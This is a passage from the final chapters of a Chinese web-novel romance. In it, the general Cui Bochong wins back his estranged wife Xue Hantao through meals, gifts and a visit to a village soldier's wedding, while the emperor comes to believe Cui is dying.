本以为圣旨颁下后,崔伯翀会跪下谢恩,接着德昌帝便能顺势将他手中的兵权收回,然而结果令人失望。 崔伯翀以战事未完,金人未灭,大军未归为借口,对所有封赏推辞不受,而他称此次返京只是为了修养身体。 兵权不了了之,德昌帝额头青筋直冒,但又无法严令他交出,如今殿中的年轻臣子在天下的威望正是最盛之时,德昌帝也怕逼急了会有变故发生。 早朝散去,他被内侍搀扶至銮驾上,眼前阵阵发黑,不禁开始后悔下令诛杀了蔡存等人,不然,他的手中就还有利刃可使。 石宪一也死了,内务省剩下的人只一个何焕还算得用。 德昌帝命人将何焕找来,问道寻找偏方的进度如何,顺便准备再找来三司在定国公府附近设下耳目。 何焕立刻将成果禀报给德昌帝,各式各样的土方,以及道观里面延年益寿的丹方,全都有。 “陛下,孙医圣在定国公府,何不请他为您诊脉?”他又提到医术最高明的孙医圣。 德昌帝厌烦地摆摆手,早些年他甚至请孙医圣为他看过子嗣,可那人实在聒噪又不讨喜,若不是因为有老太妃求情,他早将人一杀了事。 “道门的丹方,让人试试。” 他吩咐何焕,何焕恭敬应声,过后又又像是想到什么,欲言又止。 “有话就说。”德昌帝皱起眉头,他现在的精神越发不济。 “陛下,听说宁国夫人在和崔世子闹和离。”何焕低声将探听来的事情说出口,“有一名新科举子时常出入宁国夫人府上,关系匪浅。奴才想,崔世子无诏而归恐怕就有这个缘故。” 闻言,德昌帝难得愣了一下,贵妃妹妹在他的印象中一直是老实巴交的性子,主动提出和离? “怎么回事?这可是朕赐的婚。”他问。 何焕微微犹豫,解释说,“奴才派人查探,有说宁国夫人不愿为崔世子守寡,也有说,崔世子欲求子嗣,而宁国夫人因为逃难偏偏坏了身体。” 闻言,德昌帝略一思索,命銮驾前往薛贵妃的柔仪殿。 恰巧,这时,薛含桃也在。 她一边用手中的布老虎逗弄牙牙学语的小皇子,一边眼睛空洞地看着半空在失神。 “小桃,世子平安归来,阿姐以为你会高兴。”薛贵妃抿了一口茶,开口说道。 “高兴,也不高兴。”薛含桃苦着一张脸,低下头,“他总归活不了多久,我也怀不了孩子,若不先同他和离,到时留在崔家一定会被狠狠磋磨。” 德昌帝行至殿门,听到这句话,打了个手势,命欲要开口通报的宫人噤声。 “阿姐你想想,守寡又没孩子的女子留在婆家多可怜啊,新衣没得穿,肉也没得吃。定国公和曹夫人,对,还有崔皇后都不喜欢我。” 薛含桃的语气低落,薛贵妃叹了一口气便安慰她,“不还有本宫和皇儿吗?” 薛含桃没有回答,只是幽幽、道,“世子看起来很累,我也好累。” 活不了多久了,守寡,很累。 这些字眼传到德昌帝的耳中,愈加证实崔伯翀口中的修养身体为真,他放下戒心,表情也不如之前那般紧绷。 一个将死之人,就算有再多功绩,也没了提防的必要。更何况,他连子嗣都无。 德昌帝撂开手,彻底将注意力放在可以延年益寿的丹方上。崔伯翀就算不交出兵权也倒可以忍受,毕竟他时日无多。 薛含桃在宫里只待了半个时辰便离开,临出宫门前,她见到一个小太监,从荷包里面拿出一颗圆溜溜的珍珠给他。 “告诉你义父,谢谢他。” 小太监笑眯眯地收下珍珠,请她慢走。 薛含桃默默一笑,抬头望了望天空,一步一步地往宫门走。 没有让罗大哥来接她,她出了宫门无意看了一眼,赶紧贴在墙边垂下了脑袋,像是害怕被人发现。 然而已经迟了,一辆宽敞大气的马车慢悠悠地跟在她的身后,两匹神骏的黑马抬蹄,车厢中的主人随之露出了真容。 崔伯翀步出马车,她的脑袋垂地更低了些,明明知道他发现了自己,就是选择不回应,装作没看到。 而当他伸出手臂的时候,她躲开,总算不能再装傻,拧了拧眉,唤他世子。 “我会去官衙备案登记,你不要逼我。”她神色紧张,看他的表情十分防备,无形之间刺痛崔伯翀的心。 他扯了扯唇,让她上马车,“我送你,顺便再用午膳,京中有一家酒楼,做的春宴不错。” “不去,我没钱。”薛含桃拒绝的直截了当,拼命摇头就是不看他。 她怕自己会被 他蛊惑,再次踏入火坑,被烤干,只能伤心地哭泣。 崔伯翀被拒绝并未生气,他抬脚走在她的身边,与她并行,时不时垂眸看她,神色淡淡,忽然提起第一次见到她的场景。 “喂了一口水,抱起来后就拼命地往我的怀里钻,那时我便想,你会活下去,而且活的很精彩。” 听他前半句话,薛含桃脸庞微红,继续听,她忍不住又红了眼眶。 原来一开始,世子是这么想自己的,她以为他根本不记得。 “喂你喝下药汤,你没有嫌弃吐出来,后来底下人为了讨好我送来的碧玉粥,你也喝的一干二净。” “那又怎么样呢?我,我种出紫昙还清了。”听到自己并不知晓的往事,薛含桃猛地抬头,展示自己不虚的底气。 她方才又帮了他一次,他只是也不知道而已。 然而头一抬起来,早有预谋的崔伯翀当即揽住她的肩膀,温柔地亲在她的额上。 这可是大庭广众之下! 薛含桃立即便慌了,揪住他的衣袖,推他走开,凶巴巴地说,这样的行为只有登徒子才会做。 面对她严厉的指责,崔伯翀却笑着问她,“想不想喝碧玉粥?” 她回忆起濒死的身体因为那一碗粥获得的满足,违心地回不想。 “你不要再出现在我的面前,我现在有喝不完的米粥。” 崔伯翀脸上的笑意微淡,说这是给她昨日款待自己的报答,“对,你已经还清了,现在是我欠你。” 薛含桃心一软,想到了她清晨醒来时,茶壶是空的,放着糯米糕的碟子也是空的,而他坐在矮小的凳子上,看着她不知看了多久。 “我不会因为一顿膳食便答应你的追求。”她坚定地表明态度,又让他离自己远一些。 “好。” 崔世子听话照做,规规矩矩地跟在她身后半步的地方。 薛含桃闷头快走了几步,忽然停下来回头望去,他盯着她,问她累不累,纯黑色的眼睛里面全是她。 摇了摇头,她又想起清晨他对自己说的话。 答应她搬离定国公府,对外说两人和离,也不会干涉她的其他决定。 但他也要她答应,接受他的追求。 薛含桃没有同意,哪怕眼睛瞄见了他手心的伤口,仍是固执己见,不再和他有瓜葛往来。 “世子只是因为我种出了紫昙,将感激当作了一部分的爱意,你可以舍弃我,很快也可以忘记我,何必再纠缠不休呢?” 她说完这句话,意外看到他脸上一闪而过的愣怔,抿着唇,心口也跟着闷疼起来。 接着,不等她再开口,他便上朝去了。 薛含桃难过了一会儿,决定进宫,又请何焕帮她在德昌帝的面前进言。 没想到出宫时,他乘着马车在宫门处等她,现在又顺从地跟在她的身后。 她越走越慢,心绪越来越重,他可是许多百姓当作神明供奉的崔世子啊,何时受过这样的委屈。 薛含桃停下了脚步,说自己累了,她要坐马车去有碧玉粥的酒楼。 驾车的人是个陌生的面孔,崔伯翀没有抱她,她自己踩着脚凳坐进去,倒还自在。 之后,男人安静地坐在她的身边,似乎在闭目养神。 不多时,马车便停在了一座酒楼的门口。 崔伯翀先下车,朝她伸出了手,“这里的街道不甚平坦,人和马又多。” 她犹豫了一下,将手放上去,慢慢地从脚凳上走下来,眼睛时刻留意着不远处的一块石头。 崔伯翀便低笑,悦耳的笑声如琴音靡靡,凡是听到的人无不好奇地看他们,随后又盯着他一人看个不停。 这位容貌不俗的郎君,怎么像是打跑了金人的战神崔世子呢? “宁国夫人,小心脚下的那块石头。”他的大手握着她的小手,和她说他有很多钱,让她随便花用。 第83章 第八十三章“崔世子觉得该怎么办呢?…… 碧玉粥其实是用一种颜色微绿的米,放在竹筐内浸泡之后慢火熬煮而成,吃起来有一股清新的竹香。 薛含桃用勺子舀着慢吞吞地喝,心无旁骛。 蓦然,从旁边伸过来一双木筷,挟着肥美的鲋鱼肉放进她手边的碟子里。 她抬头看了一眼,闷不做声地将雪白的鱼肉吃了下去,而面前的瓷碗又被添满了碧玉粥。 “多吃一些,这里的香酥鸭也颇为美味,我让伙计留了几只,带回去给阿凶。”崔伯翀举着筷子,不动声色地为她挟菜,自己却只尝了一口粥。 他们坐在二楼的雅间里面,比起人声嘈杂的大堂,十分安静。 薛含桃咬着外酥里软的鸭肉,唔了一声,的确好吃,她偷偷看他,在他的目光看回来时,又飞快地垂下眼皮。 崔伯翀的姿态闲适,一张异常俊美的面庞流露着淡淡的温情,发现她的小动作,他忽然问,夜里桌上的糯米糕是哪里买的? “又冷又硬,下次不要买了。” “那是我自己做的,凉了才会变硬。” 薛含桃不服气地反驳,她明明为他做了一碗鲜美的汤饼,是他自己突然消失不见,冷掉的糯米糕当然不好吃。 “虽然有些硬,但吃着有嚼头,也能饱腹,不错。”崔伯翀一脸平静地改了口,云淡风轻的模样愣是让人说不出话。 薛含桃动了动嘴唇,双耳微红,继续舀着浅绿色的米粥喝。 一顿午膳结束,她重新坐进马车里面,被安然送回宁国夫人府,一路无话。 这次,崔世子信守承诺,将食盒交给她,便飘然离去。 果儿接过薛含桃手中沉重的食盒,打开一看,里面不仅有香气四溢的香酥鸭,还有火腿蒸肉,鱼烩,淋山菜,酥酪果子,以及碧莹莹的米粥。 “我知道,这是碧玉粥,用的是产自川蜀的碧梗米。这种米十分珍贵,有米一两银一两的说法。” 没想到有一天她也能吃到,绝对是沾了娘子的光! 果儿美滋滋地叫来了罗承武,还有大黑狗阿凶,两人一狗分吃了一桌子的菜肴。 薛含桃已经在酒楼吃的很饱,此时她坐在一旁,以手托腮,愣愣地不知在想什么。 哦,想到了她第一次邀请世子到满香楼用膳的画面,那次,忙里忙外的人是她,为世子挑鱼刺的人也是她,最后付钱的人还是她。 可是现在截然相反,细致照顾的人反而成了世子。 他不愿意失去她,所以才情愿放下身段,对她百依百顺吗?然而,她和从前不同了啊,很快,他就会觉得失望吧。 薛含桃神色落寞地叹了口气,没有用的,自己已经选择停了下来,不会再朝他迈去一步。 今天大概便是结束。 “果儿姐姐,罗大哥,你们慢慢吃,我去休息一会儿。”她站起身,本来要回寝房午睡,结果走了几步路拐到了厨房去。 前不久做的糯米糕还剩下几块,她拿起一块用力咬了一口,好久才咽下。 “世子居然说谎,好狡猾。”她嘴里小声嘀咕,眼睛却控制不住地弯了弯。 一场午觉,安安稳稳睡到了半下午。 薛含桃醒来后,洗了洗脸,安静地坐在院中用买来的藤条编了三个小球,最圆润漂亮的一只送给小皇子,剩下略大的给阿凶,最小的明日送给小白狗飘雪。 “娘子的手艺真好。”果儿凑过来观看,一脸讨好地道,“足够开一间铺子了。 ” 开铺子?她停下来思索了片刻,问果儿有没有这个想法。 “我手里有五百两银子。”薛含桃很坦诚,上次卖画赚得的银子还没有花用出去。 果儿摇头,她自己没有手艺,总不能叫娘子堂堂的一品国夫人做小营生吧? “娘子不如在郊外的乡下买几亩田地,种些粮食瓜果,除了自己吃还能卖出去。” 薛含桃想了想,是这个道理,答应和果儿一起找中人打听。 两人兴致勃勃地说了大半个时辰,大黑狗趴在离她们不远处的草席上睡觉,仿佛又回到了居住在小院的时光,恬淡自在。 罗承武带着方振走过来,方振听到薛含桃要买田地,直接回道不如置办一个庄子。 “有庄头有佃户,平时无需多放心思,只等着收成便好。” “方大哥!”数月未见到他,薛含桃的脸上露出了惊喜,急忙请他坐下,又端来热茶,说自己会考虑。 “小桃,如今我娘跟着我回了京城,这是她送给你的见面礼。”方振喝了一口茶,压根不提她和世子的事,只拿出他娘月嬷嬷准备的礼物。 一副金银头面和一支画笔。 “方大哥的母亲?那我得去拜访…礼物太贵重了。”薛含桃看到了精美的首饰,有些不敢收,方大哥的母亲一定还以为自己是世子的夫人吧。 “不,我与娘说你的画技出众,笔下的人物栩栩如生,她有意请你为她作一幅画。一品的国夫人亲自作画,怎么也是无上的殊荣了。”方振解释,画笔是礼物,头面仅是请她作画的报酬。 闻言,薛含桃不再推辞,犹豫不决地问可不可以迟几日再去。 她不想太快又和世子见面。 “当然可以。”方振笑笑,接着又让人抬过来一个木箱,指着说里面全是史书。 “世子亲手在书架上挑拣出来,每一本上面还有他当年留下来的注释,小桃你拿来学习定然事半功倍。” “哦…方大哥替我谢谢世子。” 薛含桃眨了眨眼睛,努力维持着面上的镇定,中午送膳食,下午送史书,她只当请何焕帮忙的事互相抵消。 明日,她一定不会再收他的任何东西。 然而,话是这般说,到了次日,数名护卫领着修缮房屋园林的工匠,又敲响了府门。 “夫人,他们都在工部做过事,更有人在少府待过,只需一日便能使府中焕然一新。” 为首的护卫明显和罗承武关系不错,说着话的时候不停地看向他,暗示他为自己在宁国夫人的面前求情。 罗承武重重地吐了一口气,很是无奈,但又不能不管,再说修缮房屋也是好事,于是他和薛含桃解释,若是将人赶回去,恐失颜面。 “而且,工钱应该给过了。” 听到这句话,薛含桃含糊嗯了一声,算是同意了修缮,但她万万没想到总共六名护卫也赖了下来。 两人守在府门,两人围着巡逻,还有两人热火朝天地搬着东西。 稽韶按照约定抱着长毛小狗过来授课,险些被拦在门外,被盘问了许久才得以入内。 只是隔了一日未来,他视野之中的人和物都发生了变化。 稽韶没有惊讶,早就应该料到的,崔世子何等出色的人杰,即便薛娘子态度坚决,也未必敌得过他周密的安排。 “稽夫子,你放心,他们声音很小,不会打扰到你讲史。”薛含桃请他进入西厢房,果然没听到太多嘈杂声。 稽韶含笑点头,从背后的书箱中掏出两本史书,却不料,面前的女子手中有了一本,每一页还标着清晰的注释。 不仅字迹优美,解析更是鞭辟入里,非常人所作。 “解意高明易懂,想必是出自崔世子之手。” “嗯,夫人猜的没错。” 薛含桃望着熟悉的字体,手指头微动,轻轻抚摸,暗道她也能原模原样地写出来。 除了救命的水和碧玉粥,这是他曾经送给她的另一份礼物,解了她的燃眉之急。 所以,那个时候,她要如何才能不爱他呢?- 一个上午的授课结束,稽韶告别,带着依依不舍的小白狗和一幅画一只藤编小球离开。 走出宁国夫人府没多远,他望见迎面而来的身影,停下了脚步。 崔伯翀冷着脸,眼神略略往他的方向扫过,依旧是轻慢而嘲弄,“看来那只方相氏的面具发挥了几分用处。” 稽韶和一只小狗都安然无恙,准确说,走了运道。 “韶能有今日,全仰仗薛娘子和崔世子帮忙。”稽韶拱手作揖,言他到宁国夫人府讲史便是为了报恩。 不过,他不知道当初那张名帖是出自崔伯翀之意。 “报恩?”崔伯翀轻嗤,漆黑的目光落在他的身上,强大的压迫感轰然冲垮稽韶心中的从容,“还是另有所谋?” 在青石县的时候就不要脸地觊觎他的桃子。如今趁他不在,想偷走桃子,夺走桃子,把属于他的桃子据为己有! 该死! 怎么不死! 他的体内已赫然生出凛冽的杀意。 “崔世子,我万分敬仰您在战场上的英勇,但有一句话同样不得不说。薛娘子已是自由之身,我与她之间的事情无论如何,轮不到世子置喙。”稽韶沉默一瞬后,又道,“薛娘子她很难过,世子知不知道呢?” 她的难过全部是因为她有一个太过强大完美的夫君,强大到惹皇帝忌惮,完美到令她自己产生怀疑。 明明她是一个很上进很善良的好姑娘,为人真诚,积极乐观,她配得上更好更舒适的生活。 不需要时刻担忧,不需要患得患失,开开心心,快快乐乐。 “比起这里,她更应该在青石县。” 是谁,将她拉入了复杂又痛苦的漩涡?又是谁,让她变了一副模样? “薛娘子前后共问了我两个问题。其一,如何不让有功之臣不为君王猜疑;其二,一人有一个绝世无双的伴侣,而这人却在不为人知的时候变得又丑又恶,该怎么办呢?” 稽韶一字一句地问,“崔世子,您觉得该怎么办呢?” 崔伯翀垂眸,冰冷的杀意敛去,他站在稽韶的面前,再次重复了一句话,“有我便足够。” 他会解决一切,包括她的难过与不安。 “桃子无论变成什么模样,都只是她。” 他所钟爱的,也只是她,不会改变- 后日,又到了稽韶讲史的时候,但他没有来。 站在薛含桃面前的人赫然是身姿优雅的崔世子。他们整整三日没见了,酒楼固定不变地送来吃食,房屋庭院换了个模样,护卫们日夜巡逻,只有他,再无出现。 “稽夫子呢?”她愣愣地问。 “下月初六,春闱将至,他需做好下场的准备。”崔伯翀神色淡然,说自己不忍稽韶名落孙山,所以接下来由他为她讲史。 薛含桃一脸发懵,吞吞吐吐道,“其实…我也不是必须要学,停段时日没关系。” 闻言,男人面不改色,问她是否要将自己赶出去。 正在薛含桃不知如何回答的时候,他如同变仙法一般,拿出了一个她异常眼熟的陶罐。 “孙医圣托我将紫昙的种子给你。” 他展开手掌,一颗饱满的种子安静地躺在那里,对薛含桃来说,熟悉却又陌生。 她怔怔地张唇,将种子接了过去。 原来紫昙已经结出了种子。 “那株桃树苗还好吗?”薛含桃问。 “每日按照你的法子浇水,施肥,又长高了一截。”崔伯翀薄唇展平,语气微顿,问她想不想再和他赴一场宴会。 “不需要戴面具,不需要锦衣华服,也不需要你做任何准备。” 薛含桃犹豫着,没有第一时间答应,可是最后她还是点了头。 因为他的眼睛里面有着和之前的她一模一样的期待,也更加温柔,仿佛她就是一颗被尽心呵护的种子。 薛含桃 不知道这三日当中发生了什么,方大哥一直不停地为她寻找合适的庄子,又找来经验丰富的庄头,她被说动,忙着挑选甄别,压根没有时间关注别的事。 “什么宴会啊?” 她一脸好奇,千万不要又是那位闻郎君白日宣淫。 “是一场婚宴。” 崔伯翀看出了她暗含的顾虑,让她放心,告诉她不会引人注目。 他笑道,“还请宁国夫人莫要嫌弃。”【魔蝎小说 mo xie xs .c om】 【终章】 第84章 第八十四章薛娘子和崔郎君…… “不嫌弃。” 薛含桃想,世子口中的婚宴或许比不上他们成婚时,但排场定然也不可能寒酸,她怎么会嫌弃。 然而等到了赴宴的当日,她才察觉自己的猜测应该出了错。 准确的说,错的离谱。 隔天上午,薛含桃和阿凶还有果儿姐姐道了别,手里提着一大一小两个锦盒走出了府门。 纵然世子和她说什么都无需准备,可是参加他人的婚宴若是空手而去,多不好意思啊。 薛含桃作了一幅中规中矩的山水画,当作贺礼,放进了大的锦盒里面。而小的锦盒里面装着崔世子留下的那只红玉簪,她意欲还给他。 先和两名守门的护卫一一打了招呼,她下意识地用眼睛左右寻找。 结果,神骏的黑马和宽敞的马车全都不见踪影,一头矮小的骡子拉着板车突如其来地出现在她的面前。 薛含桃盯着手牵骡子的男子,一双眼睛因为难以置信而瞪圆,明明认出他就是世子,可给她的感觉完全是两个不同的人。 他穿着一件青灰色的交领长袍,浓密漆黑的长发和寻常百姓一般随便用一根布带束起,穿戴看起来普通甚至简陋。 当然,一旦将目光往上移,优越英挺的五官和轮廓露于人前,风华不减。 薛含桃眨了眨睫毛,小声问他为何作此打扮,又为何牵着一头骡子。 虽然粗布麻衣并挡不住他的风姿,骡子大大的眼睛也很敦厚,但世子天生贵气,唯有…唯有华服和骏马堪能与他相配。 “不喜欢吗?”崔伯翀任由她直愣愣地打量自己和骡子,挽起袖子,将她手中的锦盒接了过来。 薛含桃讷讷不言,不是喜欢不喜欢的问题,而是这一幕给她的冲击实在太强烈。 “里面装的什么?”他又问,目光落在她身上烟青色的衣裙,闪过一抹满意。 “山水画,和还给世子的红玉簪。”薛含桃老实回答。 “全部拿回去,礼物我已经准备好了。”崔伯翀走上前,自然而然地牵住她的手,带她去看板车上的布和酒,以及塞在布匹当中的银子。 世子参加别人婚宴带去的贺礼居然是布和酒,诡异中含着一点点的熟悉,薛含桃久久不能回神,终于想起询问赴宴的地点。 “都城底下的一个村子,离此处大概十几里路。”崔伯翀的语气平淡。 听到他说村子,薛含桃呼吸微停,明白了让自己觉得熟悉的地方,桃林村包括附近的村子有喜事时,赴宴的客人也会送布和酒,还有糖、肉、粮…… “世子等我片刻。”她知道应该送什么了,一路飞跑回去,拿出背篓装上一罐饴糖和一罐粟米。 背着背篓再度返回,她又变成了从前的薛娘子,那如今的世子便是,“崔郎君!” 薛含桃气喘吁吁地喊了一声,赶紧走到板车旁边,把自己的背篓放了上去,和他准备的几匹布放在一起。 看到一张小脸上毫不掩饰的笑容,崔伯翀忽然明了她那些长久的不安因何而生,一直以来在努力朝他走近的人是她。 他几乎没有主动朝她的世界靠近,唯有年前寻她时,他去过一次她自幼生活的地方。 一个平平无奇的村子,却是薛含桃十几年没有离开的家乡。 崔伯翀的眸光微暗,对着她说,“坐好。” 板车不算很大,上面除了布粮等物,一个软乎乎的褥子格外的显眼,薛含桃坐在上面,乖巧地将两只腿并在一起。 两人一骡子便出发了。 他们先出了城门,除了不凡的容貌惹人多看了几眼,之后没人再抛来关注。 毕竟,这两人一看就知道是平民百姓,稍有家底谁还会使一头骡子,上不得台面。 路上,薛含桃满是新奇地望来望去,大片绿色的农田,忙碌而又交谈的男女,炊烟袅袅的房屋。 并不遥远的一切扑面而来,她感受到了自己胸腔中的惬意,忍不住大口呼吸。 当热闹的人声从不远处传来时,崔伯翀转头告诉她,他们赴宴的地方到了。 薛含桃顺着他的话定睛看去,果然发现了象征喜悦的红色和聚在一起的人群,她急忙从骡车上下来,挨在他的身边。 无论去往何处,她本能地靠近让自己觉得心安的存在。 崔伯翀眼中含笑,牵着骡子,低声和她解释,“今日成婚的郎君姓曲,家中行二,是军中的一名伤兵。” 上过战场的伤兵! 闻言,薛含桃肃然起敬,看着周围来来往往的人,不自觉地放轻声音,“曲二郎和郎君是何关系?” 崔伯翀停下脚步,淡淡道,“没有关系,我只是偶然见到几次他哭的涕泪横流的模样。” “为什么哭?” 被围在人群中恭贺的是一个穿着红衣喜气洋洋的男子,他面容憨厚,身形健壮,薛含桃实在想不到他会哭的稀里哗啦。 “因为他怕自己无法活着归来,届时和他定下了婚约的心爱之人便再也等不到他。” “是这样啊……他很幸运,活着回来了,没有让爱着他的人失望。” 薛含桃心头一恸,垂下眼睛,他也没有让她失望,但她却叫他失望了,她再也承受不起那种深入灵魂的痛苦,因此要和他划清界限。 “后来,胜了金人,战事将要结束,人人都激动地大笑,曲二郎又哭的险些晕厥过去。” “这一次又因为什么呢?”薛含桃抠着衣角,她方才看到了,人群中的曲二郎笑得合不拢嘴。 “他伤到了一只手臂,因为用不上力气便以为自己会变成废人,日日哭,夜夜哭,哭他配不上他心爱的女子。” 佛经中写,由爱故生忧,由爱故生怖,若离于爱者,无忧又无怖。 崔伯翀温柔地注视一颗紧张到失语的桃子,说夜深人静的时刻,他曾也同曲二郎一样畏惧到不能自己。 无法活着归来,再也见不到她。 或是失去手臂,或是断一只腿,又或是迎面被金人的猛将砍在脸上毁了容貌,配不上蜕变成仙桃的她。 恐惧时时刻刻盘踞在心头,从未消失过,慢慢地成为一颗沉重的毒瘤。 原来世子在自己看不到的地方,也会恐惧难眠,薛含桃拼命咬着嘴唇,忍住了眼中的泪水。 “郎君,娘子,你们是?”曲家人终于发现他们,迎上前,犹豫不定地询问他们的身份。 “我是曲二郎军中的一位友人。”崔伯翀将人挡在身后,平静回道此行特来恭贺曲二郎成婚。 “原是二郎的朋友,快,快请入内。”曲家人热情招呼他们,当看到丰厚的贺礼后,又殷勤地请他们落座。 曲家是村子里的大户人家,人丁兴旺,加上曲二郎又是大胜归来,得了不少赏金,是以几乎整个村子的人都聚集在了这场婚宴上。 男女老少,将曲家的院子挤的满满当当。 崔伯翀抬眼望去,朝身后伸出了一只手,也不回头,颇有耐心地等待。 一息,两息,第五息的时候,有指尖慢慢地碰到他的手心,他牵着她,用高出旁人太多的身躯挤开了人群。 他们坐在最偏僻的角落,看着满面红光的曲二郎和他心爱的金娘子拜堂成亲,至始至终都没有开口说话。 村人可能是被曲家人叮嘱过,没有敢坐角落的这张席面。 待客的菜肴很简单,三大碗油汪汪的炖肉,两道嫩生生的青菜,又一盆鲜气扑鼻的蛋汤,主食是麦饭。 薛含桃先动筷,默默地吃了一口麦饭,又吃了一块炖肉,然后用有些红润的眼睛偷瞄崔世子的反应。 饭菜粗糙,她担心入不了他的口。 当然,她吃着很香,从前桃林村的人家娶亲,席面上有一道全肉菜便是体面了。 “味道不错,看来这次朝廷拨下来的军晌没有被贪掉。”崔伯翀跟着她也一口麦饭也一口炖肉,间或再吃一口青菜解腻,看不出有不适之处。 反而他饭量大,在薛含桃吃饱肚子呆呆地望着他时,又添了两碗硬实咯牙的麦饭。 这时,曲二郎挨个敬酒,轮到了他们。 “贤兄是?瞅着有些眼熟,怎么像是…将军。”曲二郎瞧着已经有了几分醉意,说出的话把听到的人吓了一跳。 将军!那可是了不得的大官。 “曲二,你喝醉了,怎么连和你一个营的兄弟都不记得。”险些被叫破身份,崔伯翀仍是面不改色,伸手拍了拍曲二郎的肩膀,让他少喝一些。 “对,我们是一个营的兄弟。”曲二郎没有怀疑,挠了挠头发。接着,他看到一旁美的和一朵花似的女子,嘿嘿笑着夸崔世子 好福气。 “怪不得我们能成为好兄弟,你一定和我一样每日都盼着归家。” 闻言,崔伯翀淡定点头,认同了曲二郎口中说出的这一句话。 “归心似箭,恨不能踏平山海。”- 重新坐回到板车上面,薛含桃将吃剩下的麦饭全部喂给了骡子。 脾气温顺的骡子舔舐她的手心,清风吹来,那边,欢乐的笑声还未停歇。 崔伯翀提着一包曲家人的回礼,不必打开,便闻到了淡淡的青草味,他问薛含桃这是什么。 “青艾糕,蒸熟了好吃。” 和骡子玩了一会儿,她擦了擦手,只是在说话的时候看他。 “我没想到,世子会带我来这里参加一场婚宴,我们好像在骗人。” 薛含桃后知后觉,他们两个人一起成了骗子,在曲家骗吃骗喝,虽然带了贺礼过来。 “我本来也不是什么好人,方振有没有和你说过,我脾气古怪,性子刻薄冷漠,你嫁给我亏大了。”崔伯翀漫不经心地掀唇,走近她,摸着她的脸颊,说了一声对不起。 他是一个骗子,在她的眼中装的完美无瑕,实则在经历了那场变故之后,他心中滋生的阴暗从未停过。 他无、耻又卑劣,除了一副好皮囊,再无任何值得称道之处。 “你昏迷不醒往我的怀里钻的那刻,我便想,将一个坚韧顽强的灵魂困在我的身边,多么美妙。”崔伯翀轻笑,薄唇中吐出深藏在心底的秘密,“每天夜里,不停地梦到你。梦到进入你的身体,让你哭,让你挥舞着皮包骨头的双手挣扎,让你不得不缠着我求饶放过你。” 看到薛含桃张着唇,吓到失神又想落泪的模样,他勾唇喟叹,“你不愿意和一个污浊不堪的人在一起,确实…是再正确不过的决定。” “毕竟,只是稍稍大胆一些就怕的缩回去的桃子。我和何焕说,密旨是我早早备下的,他果然深信不疑。” 一块被烧的只剩下半角的绢帛展露在薛含桃的面前,她瞳孔颤抖,嗫嚅着说,这是她使出的仙法,他如何知道的。 崔伯翀定定地看着她笑起来,语气狠戾,“石宪一胆敢对你动手,死便宜了他。他被我开棺戮尸,如今骨头渣都化成了灰,所谓的密旨自然很快到了我的手中。” 仅仅扫见一个字,他的心便和针扎一般,密密麻麻地疼,她能够成为一位真正有权的国夫人,他会为她骄傲。 然而,崔伯翀更加心疼。 所以当稽韶质问他的时候,他没有反驳也没有生气。 “我……”薛含桃被他道破了一个秘密,慌张地不知如何是好。 “做的很好,不过忘了扫尾。”崔伯翀不等她说完,奖励地亲了亲她颤动的眼皮。 只是轻轻地一碰,他便往后退,与她隔开距离。 薛含桃眼中的泪终于落了下来,打湿了脸颊。 “不要哭,等送你到宁国夫人府,我便不再纠缠你。和离也罢,同稽韶在一起也罢,我同样祝愿你,幸福安乐。” 崔伯翀沉默了片刻,替她拭去脸上的泪水,“带你到这里,只为了让你知道,那段时间我同样害怕着,心慌又恐惧。” 接下来,他会接受她做下的任何决定。 骡子驾着板车原路返回,比来时还要安静。 过了城门,走进平坦的街道,最后停在宁国夫人府的门前。 薛含桃下了板车没有说话,似乎结局已经注定。 她垂着头,一步一步地背对他而行,崔伯翀静静地站着,眸中晦涩不明。 当她跨上最后一个台阶,天边的晚霞洒下橘黄色的光芒,薛含桃停了下来,转身看着他,粲然一笑。 “金娘子不嫌弃曲二郎,和她一样,我也不嫌弃崔郎君。” 桃子的笑是最甜的,崔伯翀僵直的身体犹如得到了特赦,他并非神明,但他用尽手段最后得到了一位神明。 “谢谢薛娘子。” 他一步步朝她走近,将她搂入怀中,低低地道,“累了停下来也没关系,你只要站着不动,我会走向桃子。”【魔蝎小说 mo xie xs .c om】